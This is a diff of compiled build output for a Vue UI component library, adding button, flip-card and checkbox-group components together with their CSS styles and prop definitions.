"--k-button-border-color": t.color
|
|
28
|
+
} : {});
|
|
29
|
+
return (e, C) => (n(), p("button", {
|
|
30
|
+
class: c([
|
|
31
|
+
o(l)(),
|
|
32
|
+
e.type && o(l)(`--${e.type}`),
|
|
33
|
+
e.size && o(l)(`--${e.size}`),
|
|
34
|
+
e.plain && "is-plain",
|
|
35
|
+
e.round && "is-round",
|
|
36
|
+
e.circle && "is-circle",
|
|
37
|
+
e.disabled && "is-disabled",
|
|
38
|
+
e.text && "is-text"
|
|
39
|
+
]),
|
|
40
|
+
style: d({
|
|
41
|
+
color: e.textColor,
|
|
42
|
+
...s.value
|
|
43
|
+
}),
|
|
44
|
+
disabled: e.disabled,
|
|
45
|
+
type: "button"
|
|
46
|
+
}, [
|
|
47
|
+
e.icon ? (n(), u(o(f), {
|
|
48
|
+
key: 0,
|
|
49
|
+
name: e.icon
|
|
50
|
+
}, null, 8, ["name"])) : m("", !0),
|
|
51
|
+
b("span", null, [
|
|
52
|
+
y(e.$slots, "default")
|
|
53
|
+
])
|
|
54
|
+
], 14, B));
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
export {
|
|
58
|
+
E as default
|
|
59
|
+
};
|
|
@@ -0,0 +1,212 @@
|
|
|
1
|
+
button, input, optgroup, select, textarea {
|
|
2
|
+
border: 0;
|
|
3
|
+
padding: 0;
|
|
4
|
+
line-height: inherit;
|
|
5
|
+
}
|
|
6
|
+
|
|
7
|
+
.k-button {
|
|
8
|
+
--k-button-text-color: var(--k-text-color-regular);
|
|
9
|
+
--k-button-font-weight: 500;
|
|
10
|
+
--k-button-bg-color: var(--k-color-white);
|
|
11
|
+
--k-button-border-color: var(--k-border-color);
|
|
12
|
+
--k-button-font-size: var(--k-font-size);
|
|
13
|
+
--k-button-radius-middle: var(--k-radius-middle);
|
|
14
|
+
--k-button-disabled-opacity: var(--k-disabled-opacity);
|
|
15
|
+
--k-button-size: 32px;
|
|
16
|
+
--k-button-size-mini: 22px;
|
|
17
|
+
--k-button-size-middle: 32px;
|
|
18
|
+
--k-button-size-large: 38px;
|
|
19
|
+
--k-button-size-small: 26px;
|
|
20
|
+
--k-button-padding: 4px 16px;
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
.k-button {
|
|
24
|
+
position: relative;
|
|
25
|
+
display: inline-flex;
|
|
26
|
+
justify-content: center;
|
|
27
|
+
align-items: center;
|
|
28
|
+
height: var(--k-button-size);
|
|
29
|
+
white-space: nowrap;
|
|
30
|
+
cursor: pointer;
|
|
31
|
+
color: var(--k-button-text-color);
|
|
32
|
+
box-sizing: border-box;
|
|
33
|
+
outline: none;
|
|
34
|
+
font-weight: var(--k-button-font-weight);
|
|
35
|
+
-webkit-user-select: none;
|
|
36
|
+
-moz-user-select: none;
|
|
37
|
+
user-select: none;
|
|
38
|
+
vertical-align: middle;
|
|
39
|
+
background-color: var(--k-button-bg-color);
|
|
40
|
+
border: var(--k-border);
|
|
41
|
+
border-color: var(--k-button-border-color);
|
|
42
|
+
font-size: var(--k-button-font-size-middle);
|
|
43
|
+
padding: var(--k-button-padding);
|
|
44
|
+
opacity: 0.9;
|
|
45
|
+
transition: all 0.3s;
|
|
46
|
+
border-radius: 5px;
|
|
47
|
+
}
|
|
48
|
+
.k-button + .k-button {
|
|
49
|
+
margin-left: 12px;
|
|
50
|
+
}
|
|
51
|
+
.k-button::before {
|
|
52
|
+
position: absolute;
|
|
53
|
+
top: 50%;
|
|
54
|
+
left: 50%;
|
|
55
|
+
width: 100%;
|
|
56
|
+
height: 100%;
|
|
57
|
+
background: currentColor;
|
|
58
|
+
border-radius: inherit;
|
|
59
|
+
transform: translate(-50%, -50%);
|
|
60
|
+
opacity: 0;
|
|
61
|
+
content: "";
|
|
62
|
+
}
|
|
63
|
+
.k-button:hover {
|
|
64
|
+
opacity: 1;
|
|
65
|
+
}
|
|
66
|
+
.k-button:active::before {
|
|
67
|
+
opacity: 0.3;
|
|
68
|
+
}
|
|
69
|
+
.k-button.k-button--mini {
|
|
70
|
+
--k-button-size: var(--k-button-size-mini);
|
|
71
|
+
--k-button-padding: calc(var(--k-button-size) - 20px) calc(var(--k-button-size) - 16px);
|
|
72
|
+
height: var(--k-button-size);
|
|
73
|
+
line-height: var(--k-button-size);
|
|
74
|
+
font-size: var(--k-font-size-mini);
|
|
75
|
+
border-radius: 2px;
|
|
76
|
+
}
|
|
77
|
+
.k-button.k-button--small {
|
|
78
|
+
--k-button-size: var(--k-button-size-small);
|
|
79
|
+
--k-button-padding: calc(var(--k-button-size) - 20px) calc(var(--k-button-size) - 16px);
|
|
80
|
+
height: var(--k-button-size);
|
|
81
|
+
line-height: var(--k-button-size);
|
|
82
|
+
font-size: var(--k-font-size-small);
|
|
83
|
+
border-radius: 2px;
|
|
84
|
+
}
|
|
85
|
+
.k-button.k-button--middle {
|
|
86
|
+
--k-button-size: var(--k-button-size-middle);
|
|
87
|
+
--k-button-padding: calc(var(--k-button-size) - 20px) calc(var(--k-button-size) - 16px);
|
|
88
|
+
height: var(--k-button-size);
|
|
89
|
+
line-height: var(--k-button-size);
|
|
90
|
+
font-size: var(--k-font-size-middle);
|
|
91
|
+
border-radius: 14px;
|
|
92
|
+
}
|
|
93
|
+
.k-button.k-button--large {
|
|
94
|
+
--k-button-size: var(--k-button-size-large);
|
|
95
|
+
--k-button-padding: calc(var(--k-button-size) - 20px) calc(var(--k-button-size) - 16px);
|
|
96
|
+
height: var(--k-button-size);
|
|
97
|
+
line-height: var(--k-button-size);
|
|
98
|
+
font-size: var(--k-font-size-large);
|
|
99
|
+
border-radius: 16px;
|
|
100
|
+
}
|
|
101
|
+
.k-button.k-button--primary {
|
|
102
|
+
--k-button-bg-color: #1d72ff;
|
|
103
|
+
--k-button-text-color: #fff;
|
|
104
|
+
--k-button-border-color: #1d72ff;
|
|
105
|
+
}
|
|
106
|
+
.k-button.k-button--primary.is-plain {
|
|
107
|
+
--k-button-bg-color: var(--k-color-primary-9);
|
|
108
|
+
--k-button-text-color:#1d72ff;
|
|
109
|
+
--k-button-border-color: #1d72ff;
|
|
110
|
+
}
|
|
111
|
+
.k-button.k-button--primary.is-text {
|
|
112
|
+
color: #1d72ff;
|
|
113
|
+
}
|
|
114
|
+
.k-button.k-button--info {
|
|
115
|
+
--k-button-bg-color: #00afef;
|
|
116
|
+
--k-button-text-color: #fff;
|
|
117
|
+
--k-button-border-color: #00afef;
|
|
118
|
+
}
|
|
119
|
+
.k-button.k-button--info.is-plain {
|
|
120
|
+
--k-button-bg-color: var(--k-color-info-9);
|
|
121
|
+
--k-button-text-color:#00afef;
|
|
122
|
+
--k-button-border-color: #00afef;
|
|
123
|
+
}
|
|
124
|
+
.k-button.k-button--info.is-text {
|
|
125
|
+
color: #00afef;
|
|
126
|
+
}
|
|
127
|
+
.k-button.k-button--success {
|
|
128
|
+
--k-button-bg-color: #009541;
|
|
129
|
+
--k-button-text-color: #fff;
|
|
130
|
+
--k-button-border-color: #009541;
|
|
131
|
+
}
|
|
132
|
+
.k-button.k-button--success.is-plain {
|
|
133
|
+
--k-button-bg-color: var(--k-color-success-9);
|
|
134
|
+
--k-button-text-color:#009541;
|
|
135
|
+
--k-button-border-color: #009541;
|
|
136
|
+
}
|
|
137
|
+
.k-button.k-button--success.is-text {
|
|
138
|
+
color: #009541;
|
|
139
|
+
}
|
|
140
|
+
.k-button.k-button--warning {
|
|
141
|
+
--k-button-bg-color: #ff6418;
|
|
142
|
+
--k-button-text-color: #fff;
|
|
143
|
+
--k-button-border-color: #ff6418;
|
|
144
|
+
}
|
|
145
|
+
.k-button.k-button--warning.is-plain {
|
|
146
|
+
--k-button-bg-color: var(--k-color-warning-9);
|
|
147
|
+
--k-button-text-color:#ff6418;
|
|
148
|
+
--k-button-border-color: #ff6418;
|
|
149
|
+
}
|
|
150
|
+
.k-button.k-button--warning.is-text {
|
|
151
|
+
color: #ff6418;
|
|
152
|
+
}
|
|
153
|
+
.k-button.k-button--danger {
|
|
154
|
+
--k-button-bg-color: #ff2121;
|
|
155
|
+
--k-button-text-color: #fff;
|
|
156
|
+
--k-button-border-color: #ff2121;
|
|
157
|
+
}
|
|
158
|
+
.k-button.k-button--danger.is-plain {
|
|
159
|
+
--k-button-bg-color: var(--k-color-danger-9);
|
|
160
|
+
--k-button-text-color:#ff2121;
|
|
161
|
+
--k-button-border-color: #ff2121;
|
|
162
|
+
}
|
|
163
|
+
.k-button.k-button--danger.is-text {
|
|
164
|
+
color: #ff2121;
|
|
165
|
+
}
|
|
166
|
+
.k-button.k-button--view {
|
|
167
|
+
--k-button-bg-color: #01AA72;
|
|
168
|
+
--k-button-text-color: #fff;
|
|
169
|
+
--k-button-border-color: #01AA72;
|
|
170
|
+
}
|
|
171
|
+
.k-button.k-button--view.is-plain {
|
|
172
|
+
--k-button-bg-color: var(--k-color-view-9);
|
|
173
|
+
--k-button-text-color:#01AA72;
|
|
174
|
+
--k-button-border-color: #01AA72;
|
|
175
|
+
}
|
|
176
|
+
.k-button.k-button--view.is-text {
|
|
177
|
+
color: #01AA72;
|
|
178
|
+
}
|
|
179
|
+
.k-button.is-round {
|
|
180
|
+
border-radius: var(--k-radius-round);
|
|
181
|
+
}
|
|
182
|
+
.k-button.is-circle {
|
|
183
|
+
border-radius: 50%;
|
|
184
|
+
padding: 8px;
|
|
185
|
+
}
|
|
186
|
+
.k-button.is-disabled {
|
|
187
|
+
cursor: not-allowed;
|
|
188
|
+
opacity: var(--k-button-disabled-opacity);
|
|
189
|
+
}
|
|
190
|
+
.k-button.is-disabled::before {
|
|
191
|
+
display: none;
|
|
192
|
+
}
|
|
193
|
+
.k-button.is-text {
|
|
194
|
+
color: var(--k-button-text-color);
|
|
195
|
+
border: 0 solid transparent;
|
|
196
|
+
background-color: transparent;
|
|
197
|
+
}
|
|
198
|
+
.k-button .k-icon {
|
|
199
|
+
font-size: 13px;
|
|
200
|
+
margin-right: 2px;
|
|
201
|
+
transform: translateY(2px);
|
|
202
|
+
margin-right: 4px;
|
|
203
|
+
}
|
|
204
|
+
.k-button.k-button--large .k-icon {
|
|
205
|
+
transform: translateY(-1px);
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
@keyframes change {
|
|
209
|
+
100% {
|
|
210
|
+
filter: hue-rotate(360deg);
|
|
211
|
+
}
|
|
212
|
+
}
|
|
File without changes
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
import { defineComponent as l, openBlock as s, createElementBlock as d, normalizeStyle as n, createElementVNode as o, renderSlot as r, createTextVNode as a } from "vue";
|
|
2
|
+
import "./style/index.css";
|
|
3
|
+
const c = {
|
|
4
|
+
class: "front",
|
|
5
|
+
style: { background: "url('/559.jpg')" }
|
|
6
|
+
}, i = {
|
|
7
|
+
class: "back",
|
|
8
|
+
style: { background: "url('/560.jpg')" }
|
|
9
|
+
}, u = l({
|
|
10
|
+
name: "k-card"
|
|
11
|
+
}), g = l({
|
|
12
|
+
...u,
|
|
13
|
+
props: {
|
|
14
|
+
width: {
|
|
15
|
+
type: String,
|
|
16
|
+
default: "300px"
|
|
17
|
+
},
|
|
18
|
+
height: {
|
|
19
|
+
type: String,
|
|
20
|
+
default: "400px"
|
|
21
|
+
}
|
|
22
|
+
},
|
|
23
|
+
setup(e) {
|
|
24
|
+
return (t, h) => (s(), d("div", {
|
|
25
|
+
class: "k-card",
|
|
26
|
+
style: n({ width: e.width, height: e.height })
|
|
27
|
+
}, [
|
|
28
|
+
o("div", c, [
|
|
29
|
+
r(t.$slots, "default", {}, () => [
|
|
30
|
+
a(" \u6B63\u9762 ")
|
|
31
|
+
])
|
|
32
|
+
]),
|
|
33
|
+
o("div", i, [
|
|
34
|
+
r(t.$slots, "back", {}, () => [
|
|
35
|
+
a(" \u53CD\u9762 ")
|
|
36
|
+
])
|
|
37
|
+
])
|
|
38
|
+
], 4));
|
|
39
|
+
}
|
|
40
|
+
});
|
|
41
|
+
export {
|
|
42
|
+
g as default
|
|
43
|
+
};
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
.k-card {
|
|
2
|
+
--bg-back:linear-gradient(135deg, #1a9be6, #1a57e6);
|
|
3
|
+
--bg-font-before:linear-gradient(135deg, #1a9be6, #1a57e6);
|
|
4
|
+
color: inherit;
|
|
5
|
+
cursor: pointer;
|
|
6
|
+
height: 400px;
|
|
7
|
+
perspective: 1000px;
|
|
8
|
+
margin: 1rem;
|
|
9
|
+
position: relative;
|
|
10
|
+
box-sizing: border-box;
|
|
11
|
+
}
|
|
12
|
+
@media screen and (max-width: 800px) {
|
|
13
|
+
.k-card .card {
|
|
14
|
+
width: calc(50% - 2rem);
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
@media screen and (max-width: 500px) {
|
|
18
|
+
.k-card .card {
|
|
19
|
+
width: 100%;
|
|
20
|
+
}
|
|
21
|
+
}
|
|
22
|
+
.k-card .front,
|
|
23
|
+
.k-card .back {
|
|
24
|
+
display: flex;
|
|
25
|
+
border-radius: 6px;
|
|
26
|
+
background-position: center;
|
|
27
|
+
background-size: cover;
|
|
28
|
+
text-align: center;
|
|
29
|
+
justify-content: center;
|
|
30
|
+
align-items: center;
|
|
31
|
+
position: absolute;
|
|
32
|
+
height: 100%;
|
|
33
|
+
width: 100%;
|
|
34
|
+
backface-visibility: hidden;
|
|
35
|
+
transform-style: preserve-3d;
|
|
36
|
+
transition: ease-in-out 600ms;
|
|
37
|
+
box-sizing: border-box;
|
|
38
|
+
}
|
|
39
|
+
.k-card .front {
|
|
40
|
+
background-size: cover;
|
|
41
|
+
padding: 2rem;
|
|
42
|
+
font-size: 1.618rem;
|
|
43
|
+
font-weight: 600;
|
|
44
|
+
color: #fff;
|
|
45
|
+
overflow: hidden;
|
|
46
|
+
font-family: Poppins, sans-serif;
|
|
47
|
+
}
|
|
48
|
+
.k-card .front:before {
|
|
49
|
+
position: absolute;
|
|
50
|
+
display: block;
|
|
51
|
+
content: "";
|
|
52
|
+
top: 0;
|
|
53
|
+
left: 0;
|
|
54
|
+
right: 0;
|
|
55
|
+
bottom: 0;
|
|
56
|
+
background: var(--bg-font-before);
|
|
57
|
+
opacity: 0.25;
|
|
58
|
+
z-index: -1;
|
|
59
|
+
}
|
|
60
|
+
.k-card:hover .front {
|
|
61
|
+
transform: rotateY(180deg);
|
|
62
|
+
}
|
|
63
|
+
.k-card:nth-child(even):hover .front {
|
|
64
|
+
transform: rotateY(-180deg);
|
|
65
|
+
}
|
|
66
|
+
.k-card .back {
|
|
67
|
+
background: var(--bg-back);
|
|
68
|
+
transform: rotateY(-180deg);
|
|
69
|
+
padding: 0 2em;
|
|
70
|
+
color: #fff;
|
|
71
|
+
box-sizing: border-box;
|
|
72
|
+
}
|
|
73
|
+
.k-card:hover .back {
|
|
74
|
+
transform: rotateY(0deg);
|
|
75
|
+
}
|
|
76
|
+
.k-card:nth-child(even) .back {
|
|
77
|
+
transform: rotateY(180deg);
|
|
78
|
+
}
|
|
79
|
+
.k-card:nth-child(even):hover .back {
|
|
80
|
+
transform: rotateY(0deg);
|
|
81
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import { defineComponent as c, computed as s, provide as u, openBlock as l, createElementBlock as d, normalizeClass as i, unref as f, renderSlot as h } from "vue";
|
|
2
|
+
import "./style/index.css";
|
|
3
|
+
import { createNamespace as k } from "../../../assets/ts/utils.mjs";
|
|
4
|
+
import { CheckboxGroupProps as _, checkboxGroupContextKey as g } from "./checkbox.mjs";
|
|
5
|
+
const x = c({
|
|
6
|
+
name: "k-checkbox-group"
|
|
7
|
+
}), E = c({
|
|
8
|
+
...x,
|
|
9
|
+
props: _,
|
|
10
|
+
emits: ["update:modelValue", "change"],
|
|
11
|
+
setup(n, { emit: a }) {
|
|
12
|
+
const o = n, t = a, { n: p } = k("checkbox-group"), m = s({
|
|
13
|
+
get() {
|
|
14
|
+
return o.modelValue;
|
|
15
|
+
},
|
|
16
|
+
set(e) {
|
|
17
|
+
r(e);
|
|
18
|
+
}
|
|
19
|
+
});
|
|
20
|
+
function r(e) {
|
|
21
|
+
t("update:modelValue", e), t("change", e);
|
|
22
|
+
}
|
|
23
|
+
return u(g, {
|
|
24
|
+
...o,
|
|
25
|
+
modelValue: m,
|
|
26
|
+
changeEvent: r
|
|
27
|
+
}), (e, b) => (l(), d("div", {
|
|
28
|
+
class: i(f(p)())
|
|
29
|
+
}, [
|
|
30
|
+
h(e.$slots, "default")
|
|
31
|
+
], 2));
|
|
32
|
+
}
|
|
33
|
+
});
|
|
34
|
+
export {
|
|
35
|
+
E as default
|
|
36
|
+
};
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
const e = {
|
|
2
|
+
modelValue: {
|
|
3
|
+
type: [Number, String, Boolean],
|
|
4
|
+
default: void 0
|
|
5
|
+
},
|
|
6
|
+
label: {
|
|
7
|
+
type: [String, Boolean, Number, Object]
|
|
8
|
+
},
|
|
9
|
+
disabled: Boolean,
|
|
10
|
+
checked: Boolean,
|
|
11
|
+
name: {
|
|
12
|
+
type: String,
|
|
13
|
+
default: void 0
|
|
14
|
+
},
|
|
15
|
+
border: Boolean,
|
|
16
|
+
indeterminate: Boolean
|
|
17
|
+
}, o = {
|
|
18
|
+
modelValue: {
|
|
19
|
+
type: Array
|
|
20
|
+
},
|
|
21
|
+
disabled: Boolean,
|
|
22
|
+
min: Number,
|
|
23
|
+
max: Number,
|
|
24
|
+
group: {
|
|
25
|
+
type: Boolean,
|
|
26
|
+
default: !0
|
|
27
|
+
}
|
|
28
|
+
}, t = Symbol("checkboxGroupContextKey");
|
|
29
|
+
export {
|
|
30
|
+
o as CheckboxGroupProps,
|
|
31
|
+
e as CheckboxProps,
|
|
32
|
+
t as checkboxGroupContextKey
|
|
33
|
+
};
|